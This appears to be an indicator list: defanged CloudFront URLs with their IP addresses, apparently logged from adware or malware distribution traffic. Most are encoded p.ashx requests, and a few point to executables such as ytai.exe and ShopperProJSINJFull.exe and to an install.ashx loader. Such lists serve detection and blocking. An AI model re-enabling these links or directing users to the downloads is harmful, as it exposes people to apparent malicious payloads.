hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hpY1rXLYst7rylc9w7m97SWqRVUESB2PlsuB7whS2F94E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSrXIxNf6X/p/ZGSjSNMjhLtXDXZHqh b9jyJC8MAmcYofyqeYLIru/skFM nYXmDEL4yGuSrT3L8Da67vNBCQrfeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLIZnY321CP6rQO0RY/50MunDWE/Jh0JbeL0PvHjsxZ9UpBIU06BVWf0=	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hpY1rXLYst7rylc9w7m97SWqRVUESB2PlsuB7whS2F94E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSrXIxNf6X/p/HmSIpx5WtIABZGQjpShx/0JQd5HxgIXfZqK6OcR1oPZEcs3sjXWP5zsjRfLbRUWFnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UpjNneMLcmeanzU0cUxs07BBpPCBpbuZW3YCQWzlN2Xrm4sJi/93Urb	54.230.45.148
hxxp://d3dle8xo1zpfnz.cloudfront.net/ytai.exe	54.192.47.40
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hpY1rXLYst7rylc9w7m97SWqRVUESB2PlsuB7whS2F94E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSrXIxNf6X/p9DL5O8sflI1 03aTMX7laps IILilpWF3u3FmdwwefTpJwm7wLvIGql7 MWoTgv1cPg3JQuiDoocCy UGDO9OHqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1Jru9GZ/KDSdRdfLRZLbVEh5X9csBHQgwJLdU5190TUYE8xhGIB/kWqhM X1Brutpw==	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hpY1rXLYst7rylc9w7m97SWqRVUESB2PlsuB7whS2F94E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSrXIxNf6X/p YSQXKBzk9X6XwtLXz/thLs IILilpWF2K9RwxiUwM40WlOV1/Fwps4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlzuq57Wrf18cCUt6fQbeFaXsmAKA93Hx924Yf3CyE1ByamNn1kzRS8w==	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hpY1rXLYst7rylc9w7m97SWqRVUESB2PlsuB7whS2F94E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSrXIxNf6X/p9IxKFhhAIX38mxw368usKjpjurIyC9QLD3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyyGZ2N9tQj q0DtEWP dDLpw1hPyYdCW3i9D7x47MWfVKQSFNOgVVn9	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hpY1rXLYst7rylc9w7m97SWqRVUESB2PlsuB7whS2F94E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSrXIxNf6X/p8eMZiMaXQ3mwTxIUcsgQ wzdQpwoYb2d3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H2IKApd1PLp3Y6f98gm7saKMhRptWjULtRfzcBrRIr7Ihb2eiG02LDB	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=Q1fGffVv26 HIN QbXyGno 6kPfIRdsbjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TaWd12TXnwYBA7RFj/nQy6cNYT8mHQlt4vQ 8eOzFn1Qg4 TVw0sddcSCFqUzxEuKSsXeh8CpENYmY4DrPDCE5A3esz88wWTIYCpHZc9ZUaFauHVJPRpz7BQC drCF7eFNKi8z8Pj2nJ/Of1VTlRDPh0Xkjmrfrln7YYdA 6NHJnMOf/uUofLPn8XP 2KKeMU66BvNwpbNqIcyxjb7yeqZLHjDTPh9NKhBoIe Q7libfUyvMFk8ry6fMl7CyXcaP2Up7XwfOPtsDfsjJGkYd1uXeUpSjjYG888bFRwZXWy318jND4gr dsPQLzyLMtOuD98VNsw1snm1qh7b9qBNFiATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcSyXa77rdL7nl59LV1EO6pYTFriim6xxHrqQkiFyYfruM9lClN508MguF8KpepynoFA==	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=Q1fGffVv26 HIN QbXyGno 6kPfIRdsbjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TaWd12TXnwYBA7RFj/nQy6cNYT8mHQlt4vQ 8eOzFn1Qg4 TVw0sddcSCFqUzxEuKSsXeh8CpENYmY4DrPDCE5A3esz88wWTIYCpHZc9ZUaE9yUCqErzGmATxIUcsgQ w232AJ3j TD6Kbmw8PKJQLPjZXu6Hs6 2B1mHf78MaJ/HnXhYKKFGG/tmSqlaZjCZujn/aHBplicf/A9tnzJAkTVcL53uMd8Iw1AZZY6ZilPCJ PEul3tvEVIsnpzFFnZ1V4Hek0AV9k32wH3ZNkBKlfbDca4SwBvUUrZ RbO4BdX2w3GuEsAb/Lz5gk8LZkHnyAtpD5T D9r8aUNXVhPTwFowOuez0DW2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2jNYg3n/nM84TCaeznTlQgJ3npQf7trJpCSI0ufMgAuRu/2r3yC7wFUDiwB0PpNGoA==	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=Q1fGffVv26 HIN QbXyGno 6kPfIRdsbjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TaWd12TXnwYBA7RFj/nQy6cNYT8mHQlt4vQ 8eOzFn1Qg4 TVw0sddcSCFqUzxEuKSsXeh8CpENYmY4DrPDCE5A3esz88wWTIYCpHZc9ZUaFXs9sbgOmK8XSpt9GSHWXQP lJ0sv/YOYo/Vto7IfmWOHBo7F03Fys4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlzuq57Wrf18cCUt6fQbeFaXsmAKA93Hx924Yf3CyE1ByamNn1kzRS8w==	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=Q1fGffVv26 HIN QbXyGno 6kPfIRdsbjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TaWd12TXnwYBA7RFj/nQy6cNYT8mHQlt4vQ 8eOzFn1Qg4 TVw0sddcSCFqUzxEuKSsXeh8CpENYmY4DrPDCE5A3esz88wWTIYCpHZc9ZUaE9M9DFMEq dQTxIUcsgQ wQ1V8jD1/9CmtYGP8lbxXf8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfYgoCl3U8undjp/3yCbuxooyFGm1aNQu1F/NwGtEivsiFvZ6IbTYsME=	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=Q1fGffVv26 HIN QbXyGno 6kPfIRdsbjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TaWd12TXnwYBA7RFj/nQy6cNYT8mHQlt4vQ 8eOzFn1Qg4 TVw0sddcSCFqUzxEuKSsXeh8CpENYmY4DrPDCE5A3esz88wWTIYCpHZc9ZUaHFcCX3EQ9YUkJQv83eyjojkOB3v7aTq0ErWxcpBkHhSQ3kCpSb73om1nmEvUc ryeF5IMyDyCMh3/v8/JBpkC7em54XLgH5JZxoDbvqsW3 yGap/Piob7 3hNKfF7td861kGoV/tuxXziHY hF8IrqBRAyNRsAq7kA1vSAoBV1baWvEXwZH Oteo22dEcMDgGQnzhNaSY3uIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1Zc7que1q39fHAlLen0G3hWl7JgCgPdx8fduGH9wshNQcmpjZ9ZM0UvM=	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=Q1fGffVv26 HIN QbXyGno 6kPfIRdsbjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TaWd12TXnwYBA7RFj/nQy6cNYT8mHQlt4vQ 8eOzFn1Qg4 TVw0sddcSCFqUzxEuKSsXeh8CpENYmY4DrPDCE5A3esz88wWTIYCpHZc9ZUaE9M9DFMEq dQTxIUcsgQ wusjSmD/os8sE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEsl2u 63S 55efS1dRDuqWExa4opuscR66kJIhcmH67jPZQpTedPDILhfCqXqcp6BQ=	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hWfaA75NtHF4HRn2UIUeHoY7GDFl7kWr7OXLse4BafTbQC nVTu53h5TX6K4Kv025qQw5cISbJBF18tFkttUSHlf1ywEdCDAkt1TnX3RNRgTzGEYgH Rav9CkIMO2RQPKPuMdH9xkPH36U7mmpym8v7XVxgq1sWG333RAvM0VMCx2KlVs8m8LqSlVGmgAnwDDNmmGug8UNw XDFelAxYveJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLIZnY321CP6rQO0RY/50MunDWE/Jh0JbeL0PvHjsxZ9UpBIU06BVWf0=	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=hpY1rXLYst6x1kvX9v50CCmZO51uO6q9/WD6e6SZIIExLHUkaU066zsPf/PibBcqYrI83FKK/ zn0tXUQ7qlhMWuKKbrHEeupCSIXJh u4z2UKU3nTwyC1vTLI4Bf0k1 b/YhL9w2PQPCBnswTHyvqUyy/Grac7sj0N7bp/0QtTEKmHddSTlr6/u6Si5KcyuceLsPpRf2XLljiGzIpjZP/qtfVYstvxbqVNzaeqnfdX3sDNBcXvenmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSmM2d4wtyZ5qfNTRxTGzTsEGk8IGlu5lbdgJBbOU3ZeubiwmL/3dSts=	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=1ZEnpGuz/ISMcHmf61T/gCWqRVUESB2Pa2xedccZGEN4E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSUu2F7cTkckXyw2dOqRz0VTJIBlhaXll/jgb6v7cXpPsHbyM38hHidfR Y3Dbv62WGBr9STKmws28 D6fz9MQVWJDAuS25qW3Z1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKYzZ3jC3Jnmp81NHFMbNOwQaTwgaW7mVt2AkFs5Tdl65uLCYv/d1K2w==	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=FwW11b 20b7l5P4ZQPu3v4mZ0XWQ5XaN1VMaOJFqXYpm5LT87ehXavGh154/D7lxqMllLKkwzRiwtS1vATpUKpDpzqqF8GGKCwE2MbvlJ3DB2sR4 cX6hHwF8xC533FcNLVXkHqu5mvKn RBjxLR3BlCn7LyxL9SGK5E2bFODYZiuGpx ZVZ8ATxIUcsgQ wQ1V8jD1/9CkZtQFdZJbneATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcSyXa77rdL7nl59LV1EO6pYTFriim6xxHrqQkiFyYfruM9lClN508MguF8KpepynoFA==	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=2v0SNuZrMFzU0UsIWSR1jbkjoxTNA4Rp7OXLse4BafTbQC nVTu53h5TX6K4Kv025qQw5cISbJBF18tFkttUSHlf1ywEdCDAkt1TnX3RNRgTzGEYgH Rav9CkIMO2RQPKPuMdH9xkPH36U7mmpym8v7XVxgq1sWG54ebh5tiGXdNM7iWe50KMgf1dP3VNJ83cZf1o/WdVNO9vyw1Tl9NEgnOXXOmQPky2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2jNYg3n/nM84TCaeznTlQgJ3npQf7trJpCSI0ufMgAuRu/2r3yC7wFUDiwB0PpNGoA==	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=2v0SNuZrMFzU0UsIWSR1jbkjoxTNA4Rp7OXLse4BafTbQC nVTu53h5TX6K4Kv025qQw5cISbJBF18tFkttUSHlf1ywEdCDAkt1TnX3RNRgTzGEYgH Rav9CkIMO2RQPKPuMdH9xkPH36U7mmpym8v7XVxgq1sWG54ebh5tiGXfUh 3ZGDmdW5pZis9f nTdhckeENmAaNmzFsNF22sQvFbQfHq0QVBDtDsEV ZSgaIE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEsl2u 63S 55efS1dRDuqWExa4opuscR66kJIhcmH67jPZQpTedPDILhfCqXqcp6BQ=	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=2v0SNuZrMFzU0UsIWSR1jbkjoxTNA4Rp7OXLse4BafTbQC nVTu53h5TX6K4Kv025qQw5cISbJBF18tFkttUSHlf1ywEdCDAkt1TnX3RNRgTzGEYgH Rav9CkIMO2RQPKPuMdH9xkPH36U7mmpym8v7XVxgq1sWG54ebh5tiGXcmyeS/0faBVXvKbjUyzCCcFAL52sIXt4VbiL0cN8AfFKoHgrZwASXAZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKYzZ3jC3Jnmp81NHFMbNOwQaTwgaW7mVt2AkFs5Tdl65uLCYv/d1K2w==	54.230.45.148
hxxp://d1vw44q53d84jx.cloudfront.net/t.ashx?e=eFCD8T/coic9XN4SPQf2KYcg35BtfIaeSwBLaB34YiOMDmRWpWBZ0CAvELRpepitEaJZagjaqKc85thZdAhOdczgRcTDDcPjLhu0b45kiT/jJX2BNWr5ZmwkqgaQEwGAs IILilpWF0E8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93CgN3uGHcox9	54.192.47.35
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=b1dRW7RxYKfUIwSieNK cB3DZvRfP/q4vMo6MfIMSUkDt2EUeZbtRVRzzIUZWmW1Hg8UevmFMO SKesa204kL iCNLqapiTgYCpHZc9ZUaG/QElqGjn9p9CUHeR8YCF3sp NWI2cIltPikZQYOt/VMbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXPyVuRvRqbhg=	54.230.45.148
hxxp://dfb5uyoqjsg4c.cloudfront.net/install.ashx?e=PcwT4QFtuPClUB4b/muCJQyc3gpH0EN88UqHvUhinpSjUEJ/m8fq64Aqy7bs2yR87/xXGSlFPzXKObDgviTVO4e8Q0Ryr2mqMBSXQ9nJcOZx1QZiJL1PeOb16kt4KYXNWPowBg89VjfmuzdwyvBFpOw7wxZ0rOEF7kya2DQtiCrPuJP0oXNMGcPrE3GwFPtoYPeH2BxP vaLARt95W016n0AYcuk8312C2B8Pmc8lEXECfZOYLFYPFC/ 1U1nkAYJWGhfRQYq4IFaZeJLHrBwNFPe/mKsMOhWTdYRi0YF6iLARt95W016n0AYcuk831211lzThcc0Tl2VBJ1SPYY3KMGLTconNu2dEJI5oTUBpWVRco3oPUOjmPLagMtARkbqlRkY0nvgbpDjaFK0VDecgDp9jqmCJIP0Ec9EnFgpr7dH4ZXDn09dBnzfFt7rO4TSHIcW/B/FtviLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmjpB9iJ5C2tEM1iDef czzhMJp7OdOVCAneelB/u2smkJIjS58yAC5G7/avfILvAVQOLAHQ k0ag	54.192.47.53
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=b1dRW7RxYKfUIwSieNK cB3DZvRfP/q4vMo6MfIMSUkDt2EUeZbtRVRzzIUZWmW1Hg8UevmFMO SKesa204kL iCNLqapiTgYCpHZc9ZUaH6MIOzDij/FhQC drCF7eF njmPLTFBJTHZ0SBJrLapv5CRHcVePUj6EQb8iyo3pHO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHJxGRiB4dTuGZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmDIiEjH/COSSg==	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=WL9usJOVMsPXmto/P2xI1h3DZvRfP/q4vMo6MfIMSUkd2u58kk/k/Q1XyCbetQQ4oJgmsLZ3n9ZMJp7OdOVCAneelB/u2smkJIjS58yAC5G7/avfILvAVc/NRyIMA23G/BdaVqYTji9SMoHOZnAK3g4bqt6sPSL0QI32H5tXX1Xb8zyMlAjNJ0/b5c3a7vXyFAL52sIXt4X6eOY8tMUElMdnRIEmstqm/kJEdxV49SPoRBvyLKjekc7que1q39fHAlLen0G3hWl7JgCgPdx8fduGH9wshNQcnEZGIHh1O4ZnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UpjNneMLcmeanzU0cUxs07BBpPCBpbuZW3YCQWzlN2Xrm4sJi/93Urb	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=WL9usJOVMsPXmto/P2xI1h3DZvRfP/q4vMo6MfIMSUkd2u58kk/k/Q1XyCbetQQ4oJgmsLZ3n9ZMJp7OdOVCAneelB/u2smkJIjS58yAC5G7/avfILvAVc/NRyIMA23G/BdaVqYTji9SMoHOZnAK3g4bqt6sPSL0QI32H5tXX1Wp3jNnuGZ/QCM8BjoE4r5ojgb6v7cXpPtX8qMQRZgpmz/9fsKQO4 yu6aPorR5b/Qlc4m6AJLdytjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29ozWIN5/5zPOEwmns505UICd56UH 7ayaQkiNLnzIALkbv9q98gu8BVA4sAdD6TRqA=	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=WL9usJOVMsPXmto/P2xI1h3DZvRfP/q4vMo6MfIMSUkd2u58kk/k/Q1XyCbetQQ4oJgmsLZ3n9ZMJp7OdOVCAneelB/u2smkJIjS58yAC5G7/avfILvAVc/NRyIMA23G/BdaVqYTji9SMoHOZnAK3g4bqt6sPSL0QI32H5tXX1XZGSjSNMjhLtXDXZHqh b9jyJC8MAmcYofyqeYLIru/skFM nYXmDEL4yGuSrT3L8Da67vNBCQrfeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLIZnY321CP6rQO0RY/50MunDWE/Jh0JbeL0PvHjsxZ9UpBIU06BVWf0=	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=WL9usJOVMsPXmto/P2xI1h3DZvRfP/q4vMo6MfIMSUkd2u58kk/k/Q1XyCbetQQ4oJgmsLZ3n9ZMJp7OdOVCAneelB/u2smkJIjS58yAC5G7/avfILvAVc/NRyIMA23G/BdaVqYTji9SMoHOZnAK3g4bqt6sPSL0QI32H5tXX1VDL5O8sflI1 03aTMX7laps IILilpWF3u3FmdwwefTpJwm7wLvIGql7 MWoTgv1cPg3JQuiDoocCy UGDO9OHqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1Jru9GZ/KDSdRdfLRZLbVEh5X9csBHQgwJLdU5190TUYE8xhGIB/kWqhM X1Brutpw==	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=c0XmKevqA0l7JuQ3F68GrGKx9xdR17AbQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3e0AXCpjXObWOn/fIJu7GijIUabVo1C7UX83Aa0SK yIKLD/sK6fa8FRzzIUZWmW1Hg8UevmFMO SKesa204kL iCNLqapiTgYCpHZc9ZUaEVp nOsv5TlY4G r 3F6T7M 2x4nq/V4db8yl/lmEDu8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfYgoCl3U8undjp/3yCbuxooyFGm1aNQu1F/NwGtEivsiFvZ6IbTYsME=	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=c0XmKevqA0l7JuQ3F68GrGKx9xdR17AbQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3e0AXCpjXObWOn/fIJu7GijIUabVo1C7UX83Aa0SK yIKLD/sK6fa8FRzzIUZWmW1Hg8UevmFMO SKesa204kL iCNLqapiTgYCpHZc9ZUaHfpIi4FJmsuCmF904v4t2DMqrjxCw EkyrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUmu70Zn8oNJ1F18tFkttUSHlf1ywEdCDAkt1TnX3RNRgTzGEYgH RaqEz5fUGu62n	54.230.45.148
hxxp://d230jbvc0l4zpn.cloudfront.net/ShopperProJSINJFull.exe	54.230.46.34
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=WL9usJOVMsPXmto/P2xI1h3DZvRfP/q4vMo6MfIMSUkd2u58kk/k/Q1XyCbetQQ4oJgmsLZ3n9ZMJp7OdOVCAneelB/u2smkJIjS58yAC5G7/avfILvAVc/NRyIMA23G/BdaVqYTji9SMoHOZnAK3g4bqt6sPSL0QI32H5tXX1V7T8dW3vpmMBQC drCF7eFnfXu8jqisF9cJKC1Reo3n9ppTNOjE5 LPSZuizlKZS4vVGidJQzQbwcX153juosl0uSr4audwd7JcEM/wt3T7JEXnUcAfrYQBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLJdrvut0vueXn0tXUQ7qlhMWuKKbrHEeupCSIXJh u4z2UKU3nTwyC4Xwql6nKegU	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=WL9usJOVMsPXmto/P2xI1h3DZvRfP/q4vMo6MfIMSUkd2u58kk/k/Q1XyCbetQQ4oJgmsLZ3n9ZMJp7OdOVCAneelB/u2smkJIjS58yAC5G7/avfILvAVc/NRyIMA23G/BdaVqYTji9SMoHOZnAK3g4bqt6sPSL0QI32H5tXX1VDLf a7VREBQC drCF7eFyJxroAg8B7PuTJrYNC2IKs 4k/Shc0wZjx0aIWLDaSLiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WXO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHJqY2fWTNFLz	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=WL9usJOVMsPXmto/P2xI1h3DZvRfP/q4vMo6MfIMSUkd2u58kk/k/Q1XyCbetQQ4oJgmsLZ3n9ZMJp7OdOVCAneelB/u2smkJIjS58yAC5G7/avfILvAVc/NRyIMA23G/BdaVqYTji9SMoHOZnAK3g4bqt6sPSL0QI32H5tXX1XHmSIpx5WtIABZGQjpShx/0JQd5HxgIXfZqK6OcR1oPZEcs3sjXWP5zsjRfLbRUWFnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UpjNneMLcmeanzU0cUxs07BBpPCBpbuZW3YCQWzlN2Xrm4sJi/93Urb	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=c0XmKevqA0l7JuQ3F68GrGKx9xdR17AbQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3e0AXCpjXObWOn/fIJu7GijIUabVo1C7UX83Aa0SK yIKLD/sK6fa8FRzzIUZWmW1Hg8UevmFMO SKesa204kL iCNLqapiTgYCpHZc9ZUaFauHVJPRpz7BQC drCF7eFNKi8z8Pj2nJ/Of1VTlRDPh0Xkjmrfrln7YYdA 6NHJnMOf/uUofLPn8XP 2KKeMU66BvNwpbNqIcyxjb7yeqZLHjDTPh9NKhBoIe Q7libfUyvMFk8ry6fMl7CyXcaP2Up7XwfOPtsDfsjJGkYd1uXeUpSjjYG888bFRwZXWy318jND4gr dsPQLzyLMtOuD98VNsw1snm1qh7b9qBNFiATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcSyXa77rdL7nl59LV1EO6pYTFriim6xxHrqQkiFyYfruM9lClN508MguF8KpepynoFA==	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=c0XmKevqA0l7JuQ3F68GrGKx9xdR17AbQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3e0AXCpjXObWOn/fIJu7GijIUabVo1C7UX83Aa0SK yIKLD/sK6fa8FRzzIUZWmW1Hg8UevmFMO SKesa204kL iCNLqapiTgYCpHZc9ZUaGw5VIziNxXAbPiCC4paVhdcdUGYiS9T3hWvLaCpauVc Iu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1Zc7que1q39fHAlLen0G3hWl7JgCgPdx8fduGH9wshNQcmpjZ9ZM0UvM=	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=eFCD8T/coiex1kvX9v50CLntjDQb6Myz/WD6e6SZIIGq9exvwYRubwRSl12vCJvFYrI83FKK/ zn0tXUQ7qlhMWuKKbrHEeupCSIXJh u4z2UKU3nTwyC s14nL72j0Xh7xDRHKvaar6Ab3slVN/KgjH8Q87Lvkg4u3oGHN86wMVvLxh6eIKnHvKbjUyzCCcFAL52sIXt4WvqlYaxbLxssmdOYlMc5582M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2jNYg3n/nM84TCaeznTlQgJ3npQf7trJpCSI0ufMgAuRu/2r3yC7wFUDiwB0PpNGoA==	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=KC46TpkJIZzYLhsRuGeUaYcg35BtfIaeSwBLaB34YiOMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBpZ3XZNefBgEDtEWP dDLpw1hPyYdCW3i9D7x47MWfVCDj5NXDSx11t4Fjm69sEZL2tWx7/srhmagVA64mRE6a8LxmIYyalAJYtrOl7BfDWDUfdXri6zRTOzV4mKJhjCiOBvq/txek 3JlAY5gBXNZjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701Lik87QqvLdcywtS1vATpUKpDpzqqF8GGKCwE2MbvlJ3DB2sR4 cX6hA==	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=wlkQ3WKgYpT/HsUBn07KUiWqRVUESB2PjtIF7JX52xd4E7mrr1h80v8gl1CzC7piUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5IjhINkhtyPzBaw9/EHkCQJZwiPBAxskT9/M1qg9mP3gfJNd4VqhSAhk2COVVvHCTb5Jjgb6v7cXpPtcDuD9ajr0lL 4IgVQCGNdqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1Jru9GZ/KDSdRdfLRZLbVEh5X9csBHQgwJLdU5190TUYE8xhGIB/kWqhM X1Brutpw==	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=FwW11b 20b7l5P4ZQPu3vyElVDRhG6 31VMaOJFqXYpp96vRIJy/LjtUHaZBOE lqMllLKkwzRiwtS1vATpUKpDpzqqF8GGKCwE2MbvlJ3DB2sR4 cX6hJvg3usbvS7ynAewE2HC8lb1IajUzQ9fLSFtyY7j2bypd/XCztdoPbLEKmHddSTlr6/u6Si5KcyuceLsPpRf2XIu YgVzu615DVQk8gY3vhjLU53ymgmCuYBFRnMEda9p4WxxpEsV7ZC4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlzuq57Wrf18cCUt6fQbeFaXsmAKA93Hx924Yf3CyE1ByamNn1kzRS8w==	54.230.45.148
